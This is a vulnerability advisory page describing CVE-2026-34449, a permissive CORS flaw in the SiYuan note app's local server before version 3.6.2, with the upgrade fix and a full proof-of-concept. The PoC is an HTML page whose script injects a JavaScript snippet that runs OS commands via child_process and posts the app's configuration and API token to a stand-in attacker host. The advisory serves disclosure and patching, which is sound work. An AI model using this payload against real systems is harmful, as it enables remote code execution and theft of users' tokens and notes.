Permissive Cross-domain Policy with Untrusted Domains Affecting github.com/siyuan-note/siyuan/kernel/server package, versions <3.6.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.5% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMSIYUANNOTESIYUANKERNELSERVER-15922419
  • published7 Apr 2026
  • disclosed31 Mar 2026
  • creditzerotrail, Sajda Kabir

Introduced: 31 Mar 2026

CVE-2026-34449  (opens in a new tab)
CWE-942  (opens in a new tab)

How to fix?

Upgrade github.com/siyuan-note/siyuan/kernel/server to version 3.6.2 or higher.

Overview

Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains through the permissive CORS policy in the serve.go middleware and the snippet injection process. An attacker can execute arbitrary code and exfiltrate sensitive data by enticing a user to visit a malicious website while the application is running.

PoC

<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>

CVSS Base Scores

version 4.0
version 3.1